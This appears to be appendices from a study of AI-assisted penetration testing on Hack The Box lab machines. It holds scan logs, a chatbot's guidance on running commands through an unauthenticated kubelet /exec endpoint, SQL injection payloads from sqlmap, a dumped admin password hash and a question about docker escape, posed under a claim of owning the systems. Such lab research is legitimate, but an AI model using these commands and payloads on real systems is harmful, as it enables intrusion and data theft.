

APPENDICES

CHAOS - NMAP SCAN

```
# Nmap 7.93 scan initiated Tue Mar 28 15:00:53 2023 as: nmap -p- -sV -sC -O
↪ -T4 -v --reason -oA nmap_results 10.10.10.120
Nmap scan report for 10.10.10.120
Host is up, received echo-reply ttl 63 (0.10s latency).
Not shown: 65529 closed tcp ports (reset)
PORT      STATE SERVICE REASON          VERSION
80/tcp    open  http    syn-ack ttl 63 Apache httpd 2.4.34 ((Ubuntu))
|_http-title: Site doesn't have a title (text/html).
|_http-methods:
|_ Supported Methods: GET POST OPTIONS HEAD
|_http-server-header: Apache/2.4.34 (Ubuntu)
110/tcp   open  pop3    syn-ack ttl 63 Dovecot pop3d
|_pop3-capabilities: AUTH-RESP-CODE RESP-CODES UIDL PIPELINING STLS TOP SASL
↪ CAPA
|_ssl-date: TLS randomness does not represent time
|_ssl-cert: Subject: commonName=chaos
| Subject Alternative Name: DNS:chaos
| Issuer: commonName=chaos
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2018-10-28T10:01:49
| Not valid after:  2028-10-25T10:01:49
| MD5:    af90216592c7740fd97a786a7e9fcb92
|_SHA-1: 5a4d42233b08a24b7d5ae50909bf9570aa2cf6ba
143/tcp   open  imap    syn-ack ttl 63 Dovecot imapd (Ubuntu)
|_imap-capabilities: LOGIN-REFERRALS LITERAL+ post-login SASL-IR have
↪ IMAP4rev1 STARTTLS listed ENABLE more ID OK IDLE capabilities Pre-login
↪ LOGINDISABLEDA0001
|_ssl-cert: Subject: commonName=chaos
| Subject Alternative Name: DNS:chaos
| Issuer: commonName=chaos
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2018-10-28T10:01:49
| Not valid after:  2028-10-25T10:01:49
| MD5:    af90216592c7740fd97a786a7e9fcb92
|_SHA-1: 5a4d42233b08a24b7d5ae50909bf9570aa2cf6ba
```

```

|_ssl-date: TLS randomness does not represent time
993/tcp open ssl/imap syn-ack ttl 63 Dovecot imapd (Ubuntu)
|_imap-capabilities: LOGIN-REFERRALS LITERAL+ SASL-IR have IMAP4rev1
↪ capabilities listed ENABLE more ID OK AUTH=PLAINA0001 post-login Pre-login
↪ IDLE
|_ssl-cert: Subject: commonName=chaos
| Subject Alternative Name: DNS:chaos
| Issuer: commonName=chaos
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2018-10-28T10:01:49
| Not valid after: 2028-10-25T10:01:49
| MD5: af90216592c7740fd97a786a7e9fcb92
|_SHA-1: 5a4d42233b08a24b7d5ae50909bf9570aa2cf6ba
|_ssl-date: TLS randomness does not represent time
995/tcp open ssl/pop3 syn-ack ttl 63 Dovecot pop3d
|_pop3-capabilities: AUTH-RESP-CODE RESP-CODES UIDL PIPELINING USER TOP
↪ SASL(PLAIN) CAPA
|_ssl-cert: Subject: commonName=chaos
| Subject Alternative Name: DNS:chaos
| Issuer: commonName=chaos
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2018-10-28T10:01:49
| Not valid after: 2028-10-25T10:01:49
| MD5: af90216592c7740fd97a786a7e9fcb92
|_SHA-1: 5a4d42233b08a24b7d5ae50909bf9570aa2cf6ba
|_ssl-date: TLS randomness does not represent time
10000/tcp open http syn-ack ttl 63 MiniServ 1.890 (Webmin httpd)
|_http-title: Site doesn't have a title (text/html; Charset=iso-8859-1).
|_http-favicon: Unknown favicon MD5: EA9A0A98E2A16B0ADEA1F6ED448F4CEF
|_http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: MiniServ/1.890
No exact OS matches for host (If you know what OS is running on it, see
↪ https://nmap.org/submit/ ).
TCP/IP fingerprint:
OS:SCAN(V=7.93%E=4%D=3/28%OT=80%CT=1%CU=37512%PV=Y%DS=2%DC=I%G=Y%TM=642339A
OS:D%P=x86_64-pc-linux-gnu)SEQ(SP=102%GCD=1%ISR=10D%TI=Z%CI=Z%II=I%TS=A)SEQ
OS:(SP=102%GCD=1%ISR=10D%TI=Z%CI=Z%TS=A)OPS(O1=M53AST11NW7%O2=M53AST11NW7%O
OS:3=M53ANNT11NW7%O4=M53AST11NW7%O5=M53AST11NW7%O6=M53AST11)WIN(W1=7120%W2=
OS:7120%W3=7120%W4=7120%W5=7120%W6=7120)ECN(R=Y%DF=Y%T=40%W=7210%O=M53ANNSN
OS:W7%CC=Y%Q=)T1(R=Y%DF=Y%T=40%S=0%A=S+%F=AS%RD=0%Q=)T2(R=N)T3(R=N)T4(R=Y%D
OS:F=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T5(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O
OS:=%RD=0%Q=)T6(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T7(R=Y%DF=Y%T=40%W
OS:=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)U1(R=Y%DF=N%T=40%IPL=164%UN=0%RIPL=G%RID=G%R
OS:IPCK=G%RUCK=G%RUD=G)IE(R=Y%DFI=N%T=40%CD=S)

Uptime guess: 42.822 days (since Mon Feb 13 18:18:54 2023)
Network Distance: 2 hops
TCP Sequence Prediction: Difficulty=258 (Good luck!)
IP ID Sequence Generation: All zeros
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Read data files from: /usr/bin/./share/nmap

```

```
OS and Service detection performed. Please report any incorrect results at
↪ https://nmap.org/submit/ .
# Nmap done at Tue Mar 28 15:02:05 2023 -- 1 IP address (1 host up) scanned in
↪ 72.06 seconds
```

CHAOS - GOBUSTER SCAN

```
=====
Gobuster v3.5
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
=====
[+] Url:                http://10.10.10.120/
[+] Method:             GET
[+] Threads:            10
[+] Wordlist:
    ↪ /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Negative Status codes: 404
[+] User Agent:         gobuster/3.5
[+] Timeout:            10s
=====
2023/03/28 15:10:14 Starting gobuster in directory enumeration mode
=====
/wp                (Status: 301) [Size: 309] [--> http://10.10.10.120/wp/]
/javascript        (Status: 301) [Size: 317] [-->
    ↪ http://10.10.10.120/javascript/]
```

CHAOS - PDFTEX

```

LOG: This is pdfTeX, Version 3.14159265-2.6-1.40.19 (TeX Live 2019/dev/Debian)
↪ (preloaded format=pdflatex) \write18 enabled. entering extended mode
(/.8820d44aa767b71d63e191ed1e4f99a2.tex LaTeX2e <2018-04-01> patch level 5
↪ (/usr/share/texlive/texmf-dist/tex/latex/koma-script/scrartcl.cls Document
↪ Class: scrartcl 2018/03/30 v3.25
KOMA-Script document class (article)
↪ (/usr/share/texlive/texmf-dist/tex/latex/koma-script/scrkbase.sty
↪ (/usr/share/texlive/texmf-dist/tex/latex/koma-script/scrbase.sty
(/usr/share/texlive/texmf-dist/tex/latex/graphics/keyval.sty)
↪ (/usr/share/texlive/texmf-dist/tex/latex/koma-script/scrfile.sty)))
↪ (/usr/share/texlive/texmf-dist/tex/latex/koma-
script/tocbasic.sty)
↪ (/usr/share/texlive/texmf-dist/tex/latex/koma-script/scrsizel1pt.clo)
↪ (/usr/share/texlive/texmf-dist/tex/latex/koma-script/typearea.sty))
↪ (/usr/share/texlive/texmf-
dist/tex/latex/base/fontenc.sty
↪ (/usr/share/texlive/texmf-dist/tex/latex/base/tlenc.def))
↪ (/usr/share/texlive/texmf-dist/tex/latex/jknaptx/sans.sty
↪ (/usr/share/texlive/texmf-
dist/tex/latex/base/tlcmss.fd))
↪ (/usr/share/texlive/texmf-dist/tex/generic/babel/babel.sty
↪ (/usr/share/texlive/texmf-dist/tex/generic/babel/switch.def)
↪ (/usr/share/texlive/texmf-
dist/tex/generic/babel-english/english.ldf
↪ (/usr/share/texlive/texmf-dist/tex/generic/babel/babel.def
↪ (/usr/share/texlive/texmf-dist/tex/generic/babel/txtbabel.def))))
(/usr/share/texlive/texmf-dist/tex/latex/amsmath/amsmath.sty For additional
↪ information on amsmath, use the '?' option.
↪ (/usr/share/texlive/texmf-dist/tex/latex/amsmath/amstext.sty
(/usr/share/texlive/texmf-dist/tex/latex/amsmath/amsgen.sty))
↪ (/usr/share/texlive/texmf-dist/tex/latex/amsmath/amsbsy.sty)
↪ (/usr/share/texlive/texmf-dist/tex/latex/amsmath/amsopn.sty))
(/usr/share/texlive/texmf-dist/tex/latex/amsfonts/amsfonts.sty)
↪ (/usr/share/texlive/texmf-dist/tex/latex/amscs/amsthm.sty)
↪ (/usr/share/texlive/texmf-dist/tex/latex/lipsum/lipsum.sty)
(/usr/share/texlive/texmf-dist/tex/latex/sectsty/sectsty.sty) Class scrartcl
↪ Warning: Usage of package `fancyhdr' together (scrartcl) with a
↪ KOMA-Script class is not recommended.

```

```

(scrartcl) I'd suggest to use (scrartcl) package `sclayer' or
→ `sclayer-scrpage', because (scrartcl) they support KOMA-Script classes.
→ (scrartcl) With `fancyhdr' several features of
class `scrartcl' (scrartcl) like options `headsepline', `footsepline' or
→ command (scrartcl) ``\MakeMarkcase' and the commands ``\setkomafont' and
→ (scrartcl) ``\addtokomafont' for the page
style elements need (scrartcl) explicite user intervention to work. (scrartcl)
→ Nevertheless, using requested (scrartcl) package `fancyhdr' on input line
→ 34. (/usr/share/texlive/texmf-
dist/tex/latex/fancyhdr/fancyhdr.sty) No file
→ 8820d44aa767b71d63e191ed1e4f99a2.aux. LaTeX Font Warning: Font shape
→ `T1/cmss/m/sc' in size <10.95> not available (Font) Font shape
`T1/cmr/m/sc' tried instead on input line 69.
→ (/usr/share/texlive/texmf-dist/tex/latex/amsfonts/umsa.fd)
→ (/usr/share/texlive/texmf-dist/tex/latex/amsfonts/umsb.fd)
→ [1{/var/lib/texmf/fo
nts/map/pdftex/updmap/pdftex.map}] (./8820d44aa767b71d63e191ed1e4f99a2.aux) )
→ !pdfTeX error: /usr/bin/pdflatex (file ecss1095): Font ecss1095 at 600 not
→ foun d ==> Fatal error
occurred, no output PDF file produced!

```

CHAOS - EMAILS

```
e FETCH 1 BODY[TEXT]
* 1 FETCH (BODY[TEXT] {2183}
--=_00b34a28b9033c43ed09c0950f4176e1
Content-Transfer-Encoding: 7bit
Content-Type: text/plain; charset=US-ASCII;
format=flowed
```

Hii, sahay
 Check the enmsg.txt
 You are the password XD.
 Also attached the script which i used to encrypt.
 Thanks,
 Ayush

```
--=_00b34a28b9033c43ed09c0950f4176e1
Content-Transfer-Encoding: base64
Content-Type: application/octet-stream;
name=enim_msg.txt
Content-Disposition: attachment;
filename=enim_msg.txt;
size=272
```

```
MDAwMDAwMDAwMDAwMDIzNK7uqnoZitizcEs4hVpDg8z18LmJXjnkr2tXhw/AldQmd/g53L6pgva9
RdPkJ3GSW57onvse0e5ai95/M4APq+3mLp4GQ5YTuRTaGsHtrMs7rNgzwfiVor7zNryPn1Jgbn8M
7Y2mM6I+1H0zQb6Xt/JkhOZGWQzH41lEbyHvv1Ijfu+MW5XrOI6QAeXGYTTinYSuts0hPilLnk1e
6Hq7AUntXcMsqqLdqEL5+/px3ZVZccuPUvuSmXHGE023358ud9XKokbNQG3L0QuRFkpE/LS10yge
+l60N4g1fpYizywI3+h9l5Iwpj/UVb0BcVgojtlz5gIv12tAHf7kpZ6R08=
```

```
--=_00b34a28b9033c43ed09c0950f4176e1
Content-Transfer-Encoding: base64
Content-Type: text/x-python; charset=us-ascii;
name=en.py
Content-Disposition: attachment;
filename=en.py;
size=804
```

```
ZGVmIGVuY3J5cHQoa2V5LCBmaWxlbmFtZSk6CiAgICBjaHVua3NpemUgPSA2NCoxMDI0CiAgICBv
dXRwdXRGaWx1ID0gImVuIiArIGZpbGVuYW11CiAgICBmaWxlc2l6ZSA9IHN0cihvcy5wYXRoLmdl
dHNpemUoZmlsZW5hbWUpKS56ZmlsbCgxNikKICAgIElWID1SYW5kb20ubmV3KCKucmVhZCgxNikK
CiAgICBlbmNyeXB0b3IgaPSBBRVMubmV3KGt1eSwgQUVTLk1PREVfQ0JDLCBJVikKCiAgICB3aXR0
```


IG9wZW4oZmlsZW5hbWUsICdyYicpIGFzIGluZmlsZToKICAgICAgICB3aXRoIG9wZW4ob3V0cHV0
RmlsZSswJ3diJykgYXMgb3V0ZmlsZToKICAgICAgICAgICAgb3V0ZmlsZS53cm10ZShmaWxl c2l6
ZS51bmNvZGUoJ3V0Zi04JykpCiAgICAgICAgICAgICAgIG91dGZpbGUud3JpdGUoSVYpCgogICAgICAg
ICAgICB3aGlsZSBUCnVl0gogICAgICAgICAgICAgICAgICAgY2h1bmsgPSBpbmZpbGUucmVhZChjaHVu
a3NpemUpCgogICAgICAgICAgICAgICAgICAgawYgbGVuKGNodW5rKSA9PSAwOgogICAgICAgICAgICAg
ICAgICAgIGJyZWFrCiAgICAgICAgICAgICAgICAgICBlbGlmIGxlbihjaHVuaykgJSAsNiAhPSAwOgog
ICAg
KSkKCiAgICAgICAgICAgICAgICAgICAgICBvdXRmaWxlLndyaXRlKG VuY3J5cHRvci5lbmNyeXB0KGNodW5r
KSkKCMRlZiBnZXRLZXkocGFzc3dvcmQpOgogICAgICAgICAgICAgICAgICAgICBoYXNoZXIgaPSBTSEEyNTYubmV3
KHBhc3N3b3JkLmVuY29kZSgndXRmLTgnKSkKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
c3QoKQoK
--=_00b34a28b9033c43ed09c0950f4176e1--
)

CHAOS - PYTHON ERROR

```

Collecting python-nss
  Using cached python-nss-1.0.1.tar.bz2 (222 kB)
  Preparing metadata (setup.py) ... error
  error: subprocess-exited-with-error

  × python setup.py egg_info did not run successfully.
    | exit code: 1
  -> [12 lines of output]
      Traceback (most recent call last):
        File "<string>", line 2, in <module>
        File "<pip-setuptools-caller>", line 34, in <module>
        File "/tmp/pip-install-r2l16hhf/python-nss_6a9adbf022a94c2ba4822e12165_
        ↳ 44a22/setup.py", line 409, in
        ↳ <module>
          sys.exit(main(sys.argv))
          ~~~~~
        File "/tmp/pip-install-r2l16hhf/python-nss_6a9adbf022a94c2ba4822e12165_
        ↳ 44a22/setup.py", line 333, in
        ↳ main
          nss_include_dir = find_include_dir(['nss3', 'nss'], ['nss.h',
          ↳ 'pk11pub.h'], include_roots=include_roots)
          ~~~~~
        File "/tmp/pip-install-r2l16hhf/python-nss_6a9adbf022a94c2ba4822e12165_
        ↳ 44a22/setup.py", line 94, in
        ↳ find_include_dir
          raise ValueError("unable to locate include directory containing
          ↳ header files %s" % include_files)
      ValueError: unable to locate include directory containing header files
        ↳ ['nss.h', 'pk11pub.h']
      [end of output]

  note: This error originates from a subprocess, and is likely not a problem
        ↳ with pip.
  error: metadata-generation-failed

  × Encountered error while generating package metadata.
  -> See above for output.

```

note: This is an issue with the package mentioned above, not pip.
hint: See above for details.

STEAMCLOUD - NMAP SCAN

It seems like you have provided the output of an Nmap scan on one of your
→ computers. Nmap is a popular network scanning tool that is used to
→ discover hosts and services on a computer network, providing
→ information about open ports, running services, and more. I will
→ analyze each line of the output for you:

22/tcp, open, ssh

This line indicates that port 22 is open and running the Secure Shell
→ (SSH) service. SSH is a cryptographic network protocol used to
→ securely access and manage network devices and servers. It is widely
→ used for remote system administration and secure file transfer.

2379/tcp, open, etcd-client

This line shows that port 2379 is open and running the etcd-client
→ service. Etcd is a distributed key-value store, which is used to store
→ and manage the configuration data of distributed systems. Port 2379 is
→ the default client port for etcd, and it is used for client-to-server
→ communication.

2380/tcp, open, etcd-server

This line indicates that port 2380 is open and running the etcd-server
→ service. This is the default server port for etcd, which is used for
→ server-to-server communication within the etcd cluster.

8443/tcp, open, https-alt

This line shows that port 8443 is open and running the https-alt service.
→ This port is commonly used as an alternative port for HTTPS (HTTP over
→ TLS/SSL) traffic. It is used when an application or service requires
→ secure communication, but the default HTTPS port (443) is already in
→ use or blocked.

10250/tcp, open, unknown

This line indicates that port 10250 is open, but the specific service
→ running on this port is not recognized. However, it is worth noting
→ that port 10250 is often associated with the Kubernetes API server. In
→ Kubernetes, the API server listens on port 10250 for HTTPS connections
→ from kubelets (agents running on each node in the cluster) for
→ communication.

In summary, your Nmap scan shows open ports and services related to SSH, etcd,
↪ and possibly Kubernetes or other HTTPS-based services. Make sure to secure
↪ these services by implementing proper authentication, access control, and
↪ encryption. Close any unnecessary ports or services to reduce the attack
↪ surface of your system.

STEAMCLOUD - KUBELET API

The kubelet service on port 10250/tcp exposes an API for various
↪ operations related to Kubernetes nodes. To interact with the kubelet
↪ API, you can use tools like curl or wget for making HTTP requests.
↪ Here are some examples of API endpoints you can interact with:

Health check:

To check the health of the kubelet, you can query the /healthz endpoint:

```
bash
curl http://ip_address:10250/healthz
```

List running pods:

To get information about the running pods on the node, you can query the
↪ /pods endpoint:

```
bash
curl http://ip_address:10250/pods
```

Container logs:

To retrieve the logs of a specific container, you can use the /logs
↪ endpoint. Replace <namespace>, <pod_name>, and <container_name> with
↪ the appropriate values:

```
php
curl http://ip_address:10250/logs/<namespace>/<pod_name>/<container_name>
```

Container exec:

To execute a command within a specific container, you can use the /exec
↪ endpoint. Replace <namespace>, <pod_name>, <container_name>, and
↪ <command> with the appropriate values:

```
bash
curl -X POST http://ip_address:10250/exec/<namespace>/<pod_name>/<container_name>
↪ ?command=<command>
```

Container attach:

To attach to a specific container's TTY (if available), you can use the
↪ /attach endpoint. Replace <namespace>, <pod_name>, and
↪ <container_name> with the appropriate values:

```
bash
curl -X POST http://ip_address:10250/attach/<namespace>/<pod_name>/<container_
↳ name>?stdin=1&stdout=1&tty=1
```

Please note that interacting with the kubelet API without proper authorization
↳ is illegal and unethical. Ensure that you have the necessary permissions
↳ before attempting to access any kubelet API endpoints.

In a production environment, it is recommended to secure the kubelet API by
↳ enabling authentication and encryption. This can be done by configuring
↳ the kubelet with the appropriate flags and certificates, such as
↳ --anonymous-auth=false, --client-ca-file, and
↳ --kubelet-certificate-authority.

STEAMCLOUD - CURL /PODS

```

{"kind": "PodList", "apiVersion": "v1", "metadata": {}, "items": [{"metadata": {"name":
→ : "kube-controller-manager-steamcloud", "namespace": "kube-system", "selfLink":
→ : "/api/v1/namespaces/kube-system/pods/kube-controller-manager-steamcloud",
→ "uid": "be2478237d1af444b624cb01f51f79c4", "creationTimestamp": null, "labels":
→ : {"component": "kube-controller-manager", "tier": "control-plane"}, "annotatio
→ ns": {"kubernetes.io/config.hash": "be2478237d1af444b624cb01f51f79c4", "kuber
→ netes.io/config.seen": "2023-03-28T13:20:38.533675932-04:00", "kubernetes.io
→ /config.source": "file"}}, "spec": {"volumes": [{"name": "ca-certs", "hostPath":
→ {"path": "/etc/ssl/certs", "type": "DirectoryOrCreate"}}, {"name": "etc-ca-cert
→ ificates", "hostPath": {"path": "/etc/ca-certificates", "type": "DirectoryOrCre
→ ate"}}, {"name": "flexvolume-dir", "hostPath": {"path": "/usr/libexec/kubernete
→ s/kubelet-plugins/volume/exec", "type": "DirectoryOrCreate"}}, {"name": "k8s-c
→ erts", "hostPath": {"path": "/var/lib/minikube/certs", "type": "DirectoryOrCrea
→ te"}}, {"name": "kubeconfig", "hostPath": {"path": "/etc/kubernetes/controller-
→ manager.conf", "type": "FileOrCreate"}}, {"name": "usr-local-share-ca-certific
→ ates", "hostPath": {"path": "/usr/local/share/ca-certificates", "type": "Direct
→ oryOrCreate"}}, {"name": "usr-share-ca-certificates", "hostPath": {"path": "/us
→ r/share/ca-certificates", "type": "DirectoryOrCreate"}}], "containers": [{"nam
→ e": "kube-controller-manager", "image": "k8s.gcr.io/kube-controller-manager:v
→ 1.22.3", "command": ["kube-controller-manager", "--allocate-node-cidrs=true",
→ "--authentication-kubeconfig=/etc/kubernetes/controller-manager.conf", "--a
→ uthorization-kubeconfig=/etc/kubernetes/controller-manager.conf", "--bind-a
→ ddress=127.0.0.1", "--client-ca-file=/var/lib/minikube/certs/ca.crt", "--clu
→ ster-cidr=10.244.0.0/16", "--cluster-name=mk", "--cluster-signing-cert-file=
→ /var/lib/minikube/certs/ca.crt", "--cluster-signing-key-file=/var/lib/minik
→ ube/certs/ca.key", "--controllers=*,bootstrapsigner,tokencleaner", "--kubeco
→ nfig=/etc/kubernetes/controller-manager.conf", "--leader-elect=false", "--po
→ rt=0", "--requestheader-client-ca-file=/var/lib/minikube/certs/front-proxy-
→ ca.crt", "--root-ca-file=/var/lib/minikube/certs/ca.crt", "--service-account
→ -private-key-file=/var/lib/minikube/certs/sa.key", "--service-cluster-ip-ra
→ nge=10.96.0.0/12", "--use-service-account-credentials=true"], "resources": {"
→ requests": {"cpu": "200m"}}, "volumeMounts": [{"name": "ca-certs", "readOnly": tr
→ ue, "mountPath": "/etc/ssl/certs"}, {"name": "etc-ca-certificates", "readOnly":
→ true, "mountPath": "/etc/ca-certificates"}, {"name": "flexvolume-dir", "mountPa
→ th": "/usr/libexec/kubernetes/kubelet-plugins/volume/exec"}, {"name": "k8s-ce
→ rts", "readOnly": true, "mountPath": "/var/lib/minikube/certs"}, {"name": "kubec
→ onfig", "readOnly": true, "mountPath": "/etc/kubernetes/controller-manager.con
→ f"}, {"name": "usr-local-share-ca-certificates", "readOnly": true, "mountPath":
→ "/usr/local/share/ca-certificates"}, {"name": "usr-share-ca-certificates", "r
→ eadOnly": true, "mountPath": "/usr/share/ca-certificates"}], "livenessProbe": {
→ "httpGet": {"path": "/healthz", "port": 10257, "host": "127.0.0.1", "scheme": "HTT
→ PS"}, "initialDelaySeconds": 10, "timeoutSeconds": 15, "periodSeconds": 10, "succ
→ essThreshold": 1, "failureThreshold": 8}, "startupProbe": {"httpGet": {"path": "/
→ healthz", "port": 10257, "host": "127.0.0.1", "scheme": "HTTPS"}, "initialDelaySe
→ conds": 10, "timeoutSeconds": 15, "periodSeconds": 10, "successThreshold": 1, "fai

```

Due to the sheer size of the output, the rest has been omitted.

STEAMCLOUD - KUBERNETES ANALYTICS

Based on the output you provided, it appears that you have several
↪ Kubernetes system components and application pods running on your
↪ node. I will analyze each of them for you:

coredns-78fcd69978-fnch9

Pod: coredns-78fcd69978-fnch9

Containers: coredns

This pod is running a CoreDNS instance, which is a DNS server used in
↪ Kubernetes for service discovery. It translates service names to
↪ IP addresses and provides DNS resolution for internal Kubernetes
↪ services.

nginx

Pod: nginx

Containers: nginx

This pod is running an instance of the Nginx web server. It is likely
↪ a user-deployed application, serving content via HTTP or HTTPS.

kube-controller-manager-steamcloud

Pod: kube-controller-manager-steamcloud

Containers: kube-controller-manager

This pod is running the Kubernetes controller manager, which is a core
↪ component of the Kubernetes control plane. It manages various
↪ controllers that regulate the state of the cluster, such as the
↪ replication controller, deployment controller, and service
↪ controller.

kube-scheduler-steamcloud

Pod: kube-scheduler-steamcloud

Containers: kube-scheduler

This pod is running the Kubernetes scheduler, another core component
↪ of the Kubernetes control plane. It is responsible for scheduling
↪ pods onto available nodes based on resource requirements and other
↪ constraints.

etcd-steamcloud

Pod: etcd-steamcloud

Containers: etcd

This pod is running an etcd instance, which is the distributed
↳ key-value store used by Kubernetes for storing all cluster data.
↳ Etcd is a critical component of the Kubernetes control plane.

kube-apiserver-steamcloud

Pod: kube-apiserver-steamcloud

Containers: kube-apiserver

This pod is running the Kubernetes API server, the central component
↳ of the Kubernetes control plane. It exposes the Kubernetes API and
↳ manages all the API requests, including creating, updating, and
↳ deleting resources.

storage-provisioner

Pod: storage-provisioner

Containers: storage-provisioner

This pod is running a storage provisioner, which is

STEAMCLOUD - KUBELET COMMANDS

To check if a pod can run commands, you can try executing a command within
↪ a container in the pod. To do this, you can use the `kubectl`
↪ command-line tool or interact with the kubelet API directly.

Using `kubectl`:

First, ensure you have `kubectl` installed and configured with the appropriate
↪ Kubernetes cluster context. Then, run the following command:

```
bash
```

```
kubectl exec -it <pod_name> -n <namespace> -- <command>
```

Replace `<pod_name>` with the name of the pod, `<namespace>` with the namespace
↪ where the pod is running (if not specified, it defaults to the default
↪ namespace), and `<command>` with the command you want to execute within the
↪ container. For example, to run the `ls` command in the `nginx` container, you
↪ can use:

```
bash
```

```
kubectl exec -it nginx -- ls
```

If the command runs successfully, it means the pod is able to execute commands.

Using the kubelet API:

As you've accessed the kubelet API on port 10250 before, you can use the `/exec`
↪ endpoint to execute a command within a container in a pod. Use the
↪ following `curl` command:

```
bash
```

```
curl -X POST http://ip_address:10250/exec/<namespace>/<pod_name>/<container_name>  
↪ ?command=<command>
```

Replace `ip_address` with the IP address of the node, `<namespace>` with the
↳ namespace where the pod is running, `<pod_name>` and `<container_name>` with
↳ the appropriate values, and `<command>` with the command you want to execute
↳ within the container.

For example, to run the `ls` command in the `nginx` container:

```
bash
```

```
curl -X POST http://ip_address:10250/exec/default/nginx/nginx?command=ls
```

If the command runs successfully and you receive the expected output, it means
↳ the pod is able to execute commands.

Please note that unauthorized access to the kubelet API is illegal and
↳ unethical. Ensure that you have the necessary permissions before
↳ attempting to access any kubelet API endpoints. Additionally, in a
↳ production environment, it is recommended to secure the kubelet API by
↳ enabling authentication and encryption.

GOODGAMES - NMAP SCAN

Here is the result of the nmap scan, this is the only port i wanted to be
↪ open. Is there any security flaws or potential risks you can spot from the
↪ output?

```
nmap -p- -sV -sC -T4 10.10.11.130
Starting Nmap 7.93 ( https://nmap.org ) at 2023-03-28 17:15 EDT
Stats: 0:00:21 elapsed; 0 hosts completed (1 up), 1 undergoing Connect Scan
Connect Scan Timing: About 35.56% done; ETC: 17:16 (0:00:38 remaining)
Nmap scan report for 10.10.11.130
Host is up (0.041s latency).
Not shown: 65534 closed tcp ports (conn-refused)
PORT      STATE SERVICE VERSION
80/tcp    open  http      Apache httpd 2.4.51
|_http-title: GoodGames | Community and Store
|_http-server-header: Werkzeug/2.0.2 Python/3.9.2
Service Info: Host: goodgames.htb
```

Service detection performed. Please report any incorrect results at
↪ <https://nmap.org/submit/> .
Nmap done: 1 IP address (1 host up) scanned in 275.95 second

GOODGAMES - SQLMAP SCAN

Okey, so i did the SQLmap scan andd got this response. How do you recommend
↳ that i test i further?

Parameter: email (POST)

Type: time-based blind

Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)

Payload: email=admin@goodgames.htb' AND (SELECT 5688 FROM

↳ (SELECT(SLEEP(5)))qHZX) AND 'WVlT'='WVlT&password=password

Type: UNION query

Title: Generic UNION query (NULL) - 4 columns

Payload: email=admin@goodgames.htb' UNION ALL SELECT

↳ NULL,NULL,NULL,CONCAT(0x7176627871,0x4c6a79707870706e6d6262696d565a766」

↳ b55544d47495858594d5646424b746a5677585350466845,0x716b7a7071)--

↳ -&password=password

[18:39:02] [INFO] the back-end DBMS is MySQL

back-end DBMS: MySQL >= 5.0.12

[18:39:03] [INFO] fetched data logged to text files under

↳ '/home/kali/.local/share/sqlmap/output/10.10.11.130'

[*] ending @ 18:39:03 /2023-03-28/

GOODGAMES - SQLMAP SCAN DATABASEDUMP

That was very helpful. From exploring the database i found this user with
↪ sqlmap. Here is the output from sqlmap. What you recommend I do next in my
↪ testing?

Database: main

Table: user

[1 entry]

id	name	email	password
1	admin	admin@goodgames.htb	2b22337f218b2d82dfc3b6f77e7cb8ec

GOODGAMES - IPADDR COMMAND

Here is the output from investigating the ip address:

```
root@3a453ab39d3d:/backend# ip addr
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group
↪  default qlen 1000
   link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
   inet 127.0.0.1/8 scope host lo
       valid_lft forever preferred_lft forever
5: eth0@if6: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue state UP
↪  group default
   link/ether 02:42:ac:13:00:02 brd ff:ff:ff:ff:ff:ff link-netnsid 0
   inet 172.19.0.2/16 brd 172.19.255.255 scope global eth0
       valid_lft forever preferred_lft forever
```

Is there anything useful for escaping the docker container here?